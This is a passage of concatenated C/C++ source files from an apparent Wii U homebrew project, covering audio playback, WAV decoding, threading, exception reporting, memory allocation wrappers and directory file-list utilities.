1, 0, mix); AXVoiceEnd(voice); } } ~Voice() { if(voice) { AXFreeVoice(voice); } } void play(const u8 *buffer, u32 bufferSize, const u8 *nextBuffer, u32 nextBufSize, u16 format, u32 sampleRate) { if(!voice) return; memset(&voiceBuffer, 0, sizeof(voiceBuffer)); voiceBuffer.samples = buffer; voiceBuffer.format = format; voiceBuffer.loop = (nextBuffer == NULL) ? 0 : 1; voiceBuffer.cur_pos = 0; voiceBuffer.end_pos = bufferSize >> 1; voiceBuffer.loop_offset = ((nextBuffer - buffer) >> 1); nextBufferSize = nextBufSize; u32 samplesPerSec = (AXGetInputSamplesPerSec != 0) ? AXGetInputSamplesPerSec() : 32000; ratioBits[0] = (u32)(0x00010000 * ((f32)sampleRate / (f32)samplesPerSec)); ratioBits[1] = 0; ratioBits[2] = 0; ratioBits[3] = 0; AXSetVoiceOffsets(voice, &voiceBuffer); AXSetVoiceSrc(voice, ratioBits); AXSetVoiceSrcType(voice, 1); AXSetVoiceState(voice, 1); } void stop() { if(voice) AXSetVoiceState(voice, 0); } void setVolume(u32 vol) { if(voice) AXSetVoiceVe(voice, &vol); } void setNextBuffer(const u8 *buffer, u32 bufferSize) { voiceBuffer.loop_offset = ((buffer - voiceBuffer.samples) >> 1); nextBufferSize = bufferSize; AXSetVoiceLoopOffset(voice, voiceBuffer.loop_offset); } bool isBufferSwitched() { u32 loopCounter = AXGetVoiceLoopCount(voice); if(lastLoopCounter != loopCounter) { lastLoopCounter = loopCounter; AXSetVoiceEndOffset(voice, voiceBuffer.loop_offset + (nextBufferSize >> 1)); return true; } return false; } u32 getInternState() const { if(voice) return ((u32 *)voice)[1]; return 0; } u32 getState() const { return state; } void setState(u32 s) { state = s; } void * getVoice() const { return voice; } private: void *voice; u32 ratioBits[4]; typedef struct _ax_buffer_t { u16 format; u16 loop; u32 loop_offset; u32 end_pos; u32 cur_pos; const unsigned char *samples; } ax_buffer_t; ax_buffer_t voiceBuffer; u32 state; u32 nextBufferSize; u32 lastLoopCounter; }; #endif // _AXSOUND_H_ ================================================ FILE: src/sounds/WavDecoder.cpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #include #include "WavDecoder.hpp" #include "utils/utils.h" WavDecoder::WavDecoder(const char * filepath) : SoundDecoder(filepath) { SoundType = SOUND_WAV; SampleRate = 48000; Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; if(!file_fd) return; OpenFile(); } WavDecoder::WavDecoder(const u8 * snd, s32 len) : SoundDecoder(snd, len) { SoundType = SOUND_WAV; SampleRate = 48000; Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; if(!file_fd) return; OpenFile(); } WavDecoder::~WavDecoder() { } void WavDecoder::OpenFile() { SWaveHdr Header; SWaveFmtChunk FmtChunk; memset(&Header, 0, sizeof(SWaveHdr)); memset(&FmtChunk, 0, sizeof(SWaveFmtChunk)); file_fd->read((u8 *) &Header, sizeof(SWaveHdr)); file_fd->read((u8 *) &FmtChunk, sizeof(SWaveFmtChunk)); if (Header.magicRIFF != 0x52494646) // 'RIFF' { CloseFile(); return; } else if(Header.magicWAVE != 0x57415645) // 'WAVE' { CloseFile(); return; } else if(FmtChunk.magicFMT != 0x666d7420) // 'fmt ' { CloseFile(); return; } DataOffset = sizeof(SWaveHdr)+le32(FmtChunk.size)+8; file_fd->seek(DataOffset, SEEK_SET); SWaveChunk DataChunk; file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk)); while(DataChunk.magicDATA != 0x64617461) // 'data' { DataOffset += 8+le32(DataChunk.size); file_fd->seek(DataOffset, SEEK_SET); s32 ret = file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk)); if(ret <= 0) { CloseFile(); return; } } DataOffset += 8; DataSize = le32(DataChunk.size); Is16Bit = (le16(FmtChunk.bps) == 16); SampleRate = le32(FmtChunk.freq); if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 1) Format = CHANNELS_MONO | FORMAT_PCM_8_BIT; else if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 2) Format = CHANNELS_MONO | FORMAT_PCM_16_BIT; else if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 2) Format = CHANNELS_STEREO | FORMAT_PCM_8_BIT; else if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 4) Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT; } void WavDecoder::CloseFile() { if(file_fd) delete file_fd; file_fd = NULL; } s32 WavDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos) { if(!file_fd) return -1; if(CurPos >= (s32) DataSize) return 0; file_fd->seek(DataOffset+CurPos, SEEK_SET); if(buffer_size > (s32) DataSize-CurPos) buffer_size = DataSize-CurPos; s32 read = file_fd->read(buffer, buffer_size); if(read > 0) { if (Is16Bit) { read &= ~0x0001; for (u32 i = 0; i < (u32) (read / sizeof (u16)); ++i) ((u16 *) buffer)[i] = le16(((u16 *) buffer)[i]); } CurPos += read; } return read; } ================================================ FILE: src/sounds/WavDecoder.hpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #ifndef WAVDECODER_HPP_ #define WAVDECODER_HPP_ #include "SoundDecoder.hpp" typedef struct { u32 magicRIFF; u32 size; u32 magicWAVE; } SWaveHdr; typedef struct { u32 magicFMT; u32 size; u16 format; u16 channels; u32 freq; u32 avgBps; u16 alignment; u16 bps; } SWaveFmtChunk; typedef struct { u32 magicDATA; u32 size; } SWaveChunk; class WavDecoder : public SoundDecoder { public: WavDecoder(const char * filepath); WavDecoder(const u8 * snd, s32 len); virtual ~WavDecoder(); s32 Read(u8 * buffer, s32 buffer_size, s32 pos); protected: void OpenFile(); void CloseFile(); u32 DataOffset; u32 DataSize; bool Is16Bit; }; #endif ================================================ FILE: src/system/AsyncDeleter.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "AsyncDeleter.h" AsyncDeleter * AsyncDeleter::deleterInstance = NULL; AsyncDeleter::AsyncDeleter() : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff) , exitApplication(false) { } AsyncDeleter::~AsyncDeleter() { exitApplication = true; } void AsyncDeleter::triggerDeleteProcess(void) { if(!deleterInstance) deleterInstance = new AsyncDeleter; //! to trigger the event after GUI process is finished execution //! this function is used to swap elements from one to next array if(!deleterInstance->deleteElements.empty()) { deleterInstance->deleteMutex.lock(); while(!deleterInstance->deleteElements.empty()) { deleterInstance->realDeleteElements.push(deleterInstance->deleteElements.front()); deleterInstance->deleteElements.pop(); } deleterInstance->deleteMutex.unlock(); deleterInstance->resumeThread(); } } void AsyncDeleter::executeThread(void) { while(!exitApplication || !realDeleteElements.empty()) { if(realDeleteElements.empty()) suspendThread(); //! delete elements that require post process deleting //! because otherwise they would block or do invalid access on GUI thread while(!realDeleteElements.empty()) { deleteMutex.lock(); AsyncDeleter::Element *element = realDeleteElements.front(); realDeleteElements.pop(); deleteMutex.unlock(); delete element; } } } ================================================ FILE: src/system/AsyncDeleter.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _ASYNC_DELETER_H #define _ASYNC_DELETER_H #include #include "CThread.h" #include "CMutex.h" class AsyncDeleter : public CThread { public: static void destroyInstance() { if(deleterInstance != NULL){ delete deleterInstance; deleterInstance = NULL; } } class Element { public: Element() {} virtual ~Element() {} }; static void pushForDelete(AsyncDeleter::Element *e) { if(!deleterInstance) deleterInstance = new AsyncDeleter; deleterInstance->deleteElements.push(e); } static bool deleteListEmpty() { if(!deleterInstance) return true; return deleterInstance->deleteElements.empty(); } static bool realListEmpty() { if(!deleterInstance) return true; return deleterInstance->realDeleteElements.empty(); } static void triggerDeleteProcess(void); private: AsyncDeleter(); virtual ~AsyncDeleter(); static AsyncDeleter *deleterInstance; void executeThread(void); bool exitApplication; std::queue deleteElements; std::queue realDeleteElements; CMutex deleteMutex; }; #endif // _ASYNC_DELETER_H ================================================ FILE: src/system/CMutex.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _CMUTEX_H_ #define _CMUTEX_H_ #include #include "dynamic_libs/os_functions.h" class CMutex { public: CMutex() { pMutex = malloc(OS_MUTEX_SIZE); if(!pMutex) return; OSInitMutex(pMutex); } virtual ~CMutex() { if(pMutex) free(pMutex); } void lock(void) { if(pMutex) OSLockMutex(pMutex); } void unlock(void) { if(pMutex) OSUnlockMutex(pMutex); } bool tryLock(void) { if(!pMutex) return false; return (OSTryLockMutex(pMutex) != 0); } private: void *pMutex; }; class CMutexLock { public: CMutexLock() { mutex.lock(); } virtual ~CMutexLock() { mutex.unlock(); } private: CMutex mutex; }; #endif // _CMUTEX_H_ ================================================ FILE: src/system/CThread.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef CTHREAD_H_ #define CTHREAD_H_ #include #include #include #include "dynamic_libs/os_functions.h" #include "utils/logger.h" class CThread { public: typedef void (* Callback)(CThread *thread, void *arg); //! constructor CThread(s32 iAttr, s32 iPriority = 16, s32 iStackSize = 0x8000, CThread::Callback callback = NULL, void *callbackArg = NULL) : pThread(NULL) , pThreadStack(NULL) , pCallback(callback) , pCallbackArg(callbackArg) { //! save attribute assignment iAttributes = iAttr; //! allocate the thread pThread = (OSThread*) memalign(8, 0x1000); //! allocate the stack pThreadStack = (u8 *) memalign(0x20, iStackSize); //! create the thread if(pThread && pThreadStack) OSCreateThread(pThread, &CThread::threadCallback, 1, this, (u32)pThreadStack+iStackSize, iStackSize, iPriority, iAttributes); } //! destructor virtual ~CThread() { shutdownThread(); } static CThread *create(CThread::Callback callback, void *callbackArg, s32 iAttr = eAttributeNone, s32 iPriority = 16, s32 iStackSize = 0x8000) { return ( new CThread(iAttr, iPriority, iStackSize, callback, callbackArg) ); } //! Get thread ID virtual void* getThread() const { return pThread; } //! Thread entry function virtual void executeThread(void) { if(pCallback) pCallback(this, pCallbackArg); } //! Suspend thread virtual void suspendThread(void) { if(isThreadSuspended()) return; if(pThread) OSSuspendThread(pThread); } //! Resume thread virtual void resumeThread(void) { if(!isThreadSuspended()) return; if(pThread) OSResumeThread(pThread); } //! Set thread priority virtual void setThreadPriority(s32 prio) { if(pThread) OSSetThreadPriority(pThread, prio); } //! Check if thread is suspended virtual bool isThreadSuspended(void) const { if(pThread) return OSIsThreadSuspended(pThread); return false; } //! Check if thread is terminated virtual bool isThreadTerminated(void) const { if(pThread) return OSIsThreadTerminated(pThread); return false; } //! Check if thread is running virtual bool isThreadRunning(void) const { return !isThreadSuspended() && !isThreadRunning(); } //! Shutdown thread virtual void shutdownThread(void) { //! wait for thread to finish if(pThread && !(iAttributes & eAttributeDetach)) { while(isThreadSuspended()){ resumeThread(); } OSJoinThread(pThread, NULL); } //! free the thread stack buffer if(pThreadStack){ free(pThreadStack); } if(pThread) free(pThread); pThread = NULL; pThreadStack = NULL; } //! Thread attributes enum eCThreadAttributes { eAttributeNone = 0x07, eAttributeAffCore0 = 0x01, eAttributeAffCore1 = 0x02, eAttributeAffCore2 = 0x04, eAttributeDetach = 0x08, eAttributePinnedAff = 0x10 }; private: static s32 threadCallback(s32 argc, void *arg) { //! After call to start() continue with the internal function ((CThread *) arg)->executeThread(); return 0; } s32 iAttributes; OSThread *pThread; u8 *pThreadStack; Callback pCallback; void *pCallbackArg; }; #endif ================================================ FILE: src/system/exception_handler.c ================================================ #include #include "dynamic_libs/os_functions.h" #include "utils/logger.h" #include "exception_handler.h" #define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES 4 #define OS_EXCEPTION_DSI 2 #define OS_EXCEPTION_ISI 3 #define OS_EXCEPTION_PROGRAM 6 #define CPU_STACK_TRACE_DEPTH 10 #define __stringify(rn) #rn #define mfspr(_rn) \ ({ register uint32_t _rval = 0; \ asm volatile("mfspr %0," __stringify(_rn) \ : "=r" (_rval));\ _rval; \ }) typedef struct _framerec { struct _framerec *up; void *lr; } frame_rec, *frame_rec_t; static const char *exception_names[] = { "DSI", "ISI", "PROGRAM" }; static const char exception_print_formats[18][45] = { "Exception type %s occurred!\n", // 0 "GPR00 %08X GPR08 %08X GPR16 %08X GPR24 %08X\n", // 1 "GPR01 %08X GPR09 %08X GPR17 %08X GPR25 %08X\n", // 2 "GPR02 %08X GPR10 %08X GPR18 %08X GPR26 %08X\n", // 3 "GPR03 %08X GPR11 %08X GPR19 %08X GPR27 %08X\n", // 4 "GPR04 %08X GPR12 %08X GPR20 %08X GPR28 %08X\n", // 5 "GPR05 %08X GPR13 %08X GPR21 %08X GPR29 %08X\n", // 6 "GPR06 %08X GPR14 %08X GPR22 %08X GPR30 %08X\n", // 7 "GPR07 %08X GPR15 %08X GPR23 %08X GPR31 %08X\n", // 8 "LR %08X SRR0 %08x SRR1 %08x\n", // 9 "DAR %08X DSISR %08X\n", // 10 "\nSTACK DUMP:", // 11 " --> ", // 12 " -->\n", // 13 "\n", // 14 "%p", // 15 "\nCODE DUMP:\n", // 16 "%p: %08X %08X %08X %08X\n", // 17 }; static unsigned char exception_cb(void * c, unsigned char exception_type) { char buf[850]; int pos = 0; OSContext *context = (OSContext *) c; /* * This part is mostly from libogc. Thanks to the devs over there. */ pos += sprintf(buf + pos, exception_print_formats[0], exception_names[exception_type]); pos += sprintf(buf + pos, exception_print_formats[1], context->gpr[0], context->gpr[8], context->gpr[16], context->gpr[24]); pos += sprintf(buf + pos, exception_print_formats[2], context->gpr[1], context->gpr[9], context->gpr[17], context->gpr[25]); pos += sprintf(buf + pos, exception_print_formats[3], context->gpr[2], context->gpr[10], context->gpr[18], context->gpr[26]); pos += sprintf(buf + pos, exception_print_formats[4], context->gpr[3], context->gpr[11], context->gpr[19], context->gpr[27]); pos += sprintf(buf + pos, exception_print_formats[5], context->gpr[4], context->gpr[12], context->gpr[20], context->gpr[28]); pos += sprintf(buf + pos, exception_print_formats[6], context->gpr[5], context->gpr[13], context->gpr[21], context->gpr[29]); pos += sprintf(buf + pos, exception_print_formats[7], context->gpr[6], context->gpr[14], context->gpr[22], context->gpr[30]); pos += sprintf(buf + pos, exception_print_formats[8], context->gpr[7], context->gpr[15], context->gpr[23], context->gpr[31]); pos += sprintf(buf + pos, exception_print_formats[9], context->lr, context->srr0, context->srr1); //if(exception_type == OS_EXCEPTION_DSI) { pos += sprintf(buf + pos, exception_print_formats[10], context->ex1, context->ex0); // this freezes //} void *pc = (void*)context->srr0; void *lr = (void*)context->lr; void *r1 = (void*)context->gpr[1]; register uint32_t i = 0; register frame_rec_t l,p = (frame_rec_t)lr; l = p; p = r1; if(!p) asm volatile("mr %0,%%r1" : "=r"(p)); pos += sprintf(buf + pos, exception_print_formats[11]); for(i = 0; i < CPU_STACK_TRACE_DEPTH-1 && p->up; p = p->up, i++) { if(i % 4) pos += sprintf(buf + pos, exception_print_formats[12]); else { if(i > 0) pos += sprintf(buf + pos, exception_print_formats[13]); else pos += sprintf(buf + pos, exception_print_formats[14]); } switch(i) { case 0: if(pc) pos += sprintf(buf + pos, exception_print_formats[15],pc); break; case 1: if(!l) l = (frame_rec_t)mfspr(8); pos += sprintf(buf + pos, exception_print_formats[15],(void*)l); break; default: pos += sprintf(buf + pos, exception_print_formats[15],(void*)(p->up->lr)); break; } } //if(exception_type == OS_EXCEPTION_DSI) { uint32_t *pAdd = (uint32_t*)context->srr0; pos += sprintf(buf + pos, exception_print_formats[16]); // TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen for (i = 0; i < 8; i += 4) pos += sprintf(buf + pos, exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]); //} log_print(buf); OSFatal(buf); return 1; } static unsigned char dsi_exception_cb(OSContext * context) { return exception_cb(context, 0); } static unsigned char isi_exception_cb(OSContext * context) { return exception_cb(context, 1); } static unsigned char program_exception_cb(OSContext * context) { return exception_cb(context, 2); } void setup_os_exceptions(void) { OSSetExceptionCallback(OS_EXCEPTION_DSI, &dsi_exception_cb); OSSetExceptionCallback(OS_EXCEPTION_ISI, &isi_exception_cb); OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, &program_exception_cb); } ================================================ FILE: src/system/exception_handler.h ================================================ #ifndef __EXCEPTION_HANDLER_H_ #define __EXCEPTION_HANDLER_H_ #ifdef __cplusplus extern "C" { #endif void setup_os_exceptions(void); #ifdef __cplusplus } #endif #endif ================================================ FILE: src/system/memory.c ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "dynamic_libs/os_functions.h" #include "common/common.h" #include "memory.h" #define MEMORY_ARENA_1 0 #define MEMORY_ARENA_2 1 #define MEMORY_ARENA_3 2 #define MEMORY_ARENA_4 3 #define MEMORY_ARENA_5 4 #define MEMORY_ARENA_6 5 #define MEMORY_ARENA_7 6 #define MEMORY_ARENA_8 7 #define MEMORY_ARENA_FG_BUCKET 8 //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- //! Memory functions //! This is the only place where those are needed so lets keep them more or less private //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- extern u32 * pMEMAllocFromDefaultHeapEx; extern u32 * pMEMAllocFromDefaultHeap; extern u32 * pMEMFreeToDefaultHeap; extern s32 (* MEMGetBaseHeapHandle)(s32 mem_arena); extern u32 (* MEMGetAllocatableSizeForFrmHeapEx)(s32 heap, s32 align); extern void *(* MEMAllocFromFrmHeapEx)(s32 heap, u32 size, s32 align); extern void (* MEMFreeToFrmHeap)(s32 heap, s32 mode); extern void *(* MEMAllocFromExpHeapEx)(s32 heap, u32 size, s32 align); extern s32 (* MEMCreateExpHeapEx)(void* address, u32 size, unsigned short flags); extern void *(* MEMDestroyExpHeap)(s32 heap); extern void (* MEMFreeToExpHeap)(s32 heap, void* ptr); static s32 mem1_heap = -1; static s32 bucket_heap = -1; void memoryInitialize(void) { s32 mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); u32 mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); if(mem1_memory) mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); s32 bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); u32 bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); if(bucket_memory) bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); } void memoryRelease(void) { MEMDestroyExpHeap(mem1_heap); MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); mem1_heap = -1; MEMDestroyExpHeap(bucket_heap); MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); bucket_heap = -1; } //!------------------------------------------------------------------------------------------- //! wraps //!------------------------------------------------------------------------------------------- void *__wrap_malloc(size_t size) { // pointer to a function resolve return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size); } void *__wrap_memalign(size_t align, size_t size) { if (align < 4) align = 4; // pointer to a function resolve return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align); } void __wrap_free(void *p) { // pointer to a function resolve if(p != 0) ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p); } void *__wrap_calloc(size_t n, size_t size) { void *p = __wrap_malloc(n * size); if (p != 0) { memset(p, 0, n * size); } return p; } size_t __wrap_malloc_usable_size(void *p) { //! TODO: this is totally wrong and needs to be addressed return 0x7FFFFFFF; } void *__wrap_realloc(void *ptr, size_t size) { void *newPtr; if (!ptr) { newPtr = __wrap_malloc(size); if (!newPtr) { goto error; } } else { newPtr = __wrap_malloc(size); if (!newPtr) { goto error; } memcpy(newPtr, ptr, size); __wrap_free(ptr); } return newPtr; error: return NULL; } /* void *new_ptr = __wrap_malloc(size); if (new_ptr != 0) { memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size); __wrap_free(p); } return new_ptr; }*/ //!------------------------------------------------------------------------------------------- //! reent versions //!------------------------------------------------------------------------------------------- void *__wrap__malloc_r(struct _reent *r, size_t size) { return __wrap_malloc(size); } void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size) { return __wrap_calloc(n, size); } void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size) { return __wrap_memalign(align, size); } void __wrap__free_r(struct _reent *r, void *p) { __wrap_free(p); } size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p) { return __wrap_malloc_usable_size(p); } void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) { return __wrap_realloc(p, size); } //!------------------------------------------------------------------------------------------- //! some wrappers //!------------------------------------------------------------------------------------------- void * MEM2_alloc(u32 size, u32 align) { return __wrap_memalign(align, size); } void MEM2_free(void *ptr) { __wrap_free(ptr); } void * MEM1_alloc(u32 size, u32 align) { if (align < 4) align = 4; return MEMAllocFromExpHeapEx(mem1_heap, size, align); } void MEM1_free(void *ptr) { MEMFreeToExpHeap(mem1_heap, ptr); } void * MEMBucket_alloc(u32 size, u32 align) { if (align < 4) align = 4; return MEMAllocFromExpHeapEx(bucket_heap, size, align); } void MEMBucket_free(void *ptr) { MEMFreeToExpHeap(bucket_heap, ptr); } ================================================ FILE: src/system/memory.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef __MEMORY_H_ #define __MEMORY_H_ #ifdef __cplusplus extern "C" { #endif #include void memoryInitialize(void); void memoryRelease(void); void * MEM2_alloc(u32 size, u32 align); void MEM2_free(void *ptr); void * MEM1_alloc(u32 size, u32 align); void MEM1_free(void *ptr); void * MEMBucket_alloc(u32 size, u32 align); void MEMBucket_free(void *ptr); #ifdef __cplusplus } #endif #endif // __MEMORY_H_ ================================================ FILE: src/utils/Directory.cpp ================================================ #include "Directory.h" #include #include extern "C" { // Get declaration for f(int i, char c, float x) #include "utils/logger.h" #include "common/common.h" } Directory::Directory(std::string name_){ name = name_; } Directory::~Directory(){ for(unsigned int i = 0; i < folder.size(); i++){ delete folder[i]; } } int Directory::getSize() { int dir_size = sizeof(Directory); int file_size = sizeof(std::string) * files.capacity(); for(unsigned int i = 0; i < files.size(); i++){ file_size += files[i].capacity(); } int folder_size = sizeof(Directory*) * folder.capacity(); int size = 0; for(unsigned int i = 0; i < folder.size(); i++){ size += folder[i]->getSize(); } char log_size[100]; size += dir_size +file_size + folder_size; sprintf(log_size,"Size of %s: %d Bytes | Dirsize: %d | Folder %d(%d Bytes) Files: %d (%d Bytes)",getFolderName().c_str(),size,dir_size,folder.size(),folder_size,files.size(),file_size); return size; } void Directory::addFile(std::string name_){ files.push_back(name_); } void Directory::addFolder(Directory * dir){ folder.push_back(dir); } std::string Directory::getFolderName(){ return name; } bool Directory::isInFolder(std::string file_path){ char * start = (char*)file_path.c_str(); char * end = start; while(*end != '/' && *end != '\0'){ end++; } if(*end == '\0'){ // only a file if(checkFile(file_path)){ return true; } }else{ std::string rest = std::string(end+1); *end = '\0'; Directory * folder = getFolder(std::string(start)); if(folder != NULL){ return folder->isInFolder(rest); } } return false; } bool Directory::checkFile(std::string filename){ for(unsigned int i = 0; i < files.size(); i++){ if(files[i].compare(filename) == 0){ return true; } } return false; } Directory * Directory::getFolder(std::string foldername){ Directory * result = NULL; for(unsigned int i = 0; i < folder.size(); i++){ if(folder[i]->getFolderName().compare(foldername) == 0){ result = folder[i]; break; } } return result; } Directory * Directory::getParent(){ return this->parent; } void Directory::setParent(Directory * parent){ this->parent = parent; } void Directory::printFolderRecursive(std::string base){ base += "/"; base += getFolderName(); for(unsigned int i = 0; i < folder.size(); i++){ folder[i]->printFolderRecursive(std::string(base)); } for(unsigned int i = 0; i < files.size(); i++){ log_printf("%s/%s",base.c_str(),files[i].c_str()); ; } } std::string Directory::getFileList(){ std::string strBuffer; for(unsigned int i = 0; i < folder.size(); i++){ strBuffer += DIR_IDENTIFY + folder[i]->getFolderName() + "\n"; strBuffer += folder[i]->getFileList(); strBuffer += std::string(PARENT_DIR_IDENTIFY) + "\n"; } for(unsigned int i = 0; i < files.size(); i++){ strBuffer += files[i] + "\n"; } return strBuffer; } ================================================ FILE: src/utils/Directory.h ================================================ #include #include class Directory { public: Directory(std::string name); ~Directory(); void addFile(std::string name_); void addFolder(Directory * dir); std::string getFolderName(void); void printFolderRecursive(std::string base); Directory * getFolder(std::string foldername); bool isInFolder(std::string file_path); bool checkFile(std::string filename); int getSize(); std::string getFileList(); Directory * getParent(); void setParent(Directory * parent); private: std::string name; std::vector files; std::vector folder; Directory * parent = NULL; }; ================================================ FILE: src/utils/FileReplacer.cpp ================================================ #include "FileReplacer.h" #include "utils/logger.h" #include #include #include #include #include "utils/StringTools.h" #include "common/common.h" #include "fs/fs_utils.c" FileReplacer::FileReplacer(std::string path,std::string content,std::string filename,void * pClient,void * pCmd){ bool result = false; dir_all = new Directory("content"); std::string filepath = path + std::string("/") + filename; log_printf("Read from file for replacement: %s\n",filename.c_str()); result = this->readFromFile(pClient,pCmd,filepath,dir_all); if(!result){ log_print("Error!\n"); }else{ //dir_all->printFolderRecursive(""); } } FileReplacer::FileReplacer(std::string filepath,std::string content,std::string filename, ProgressWindow & progressWindow){ int entries = 0; progressWindow.setTitle("Creating filelist.txt:"); dir_all = new Directory("content"); read_dir(filepath + std::string("/") + content, dir_all, &entries, progressWindow); log_printf("Found %d entries\n",entries); } std::string FileReplacer::getFileListAsString(){ return dir_all->getFileList(); } int FileReplacer::getSize() { int size = sizeof(FileReplacer); size += dir_all->getSize(); return size; } FileReplacer::~FileReplacer() { delete dir_all; } bool FileReplacer::readFromFile(void *pClient, void *pCmd, const std::string & path , Directory* dir){ s32 handle = 0; FSStat stats; int ret = -1; if(FSGetStat(pClient, pCmd, path.c_str(),&stats,FS_RET_ALL_ERROR) == FS_STATUS_OK){ char * file = (char *) malloc((sizeof(char)*stats.size)+1); if(!file){ log_print("Failed to allocate space for reading the file\n"); return false; } file[stats.size] = '\0'; if ((ret = FSOpenFile(pClient, pCmd, 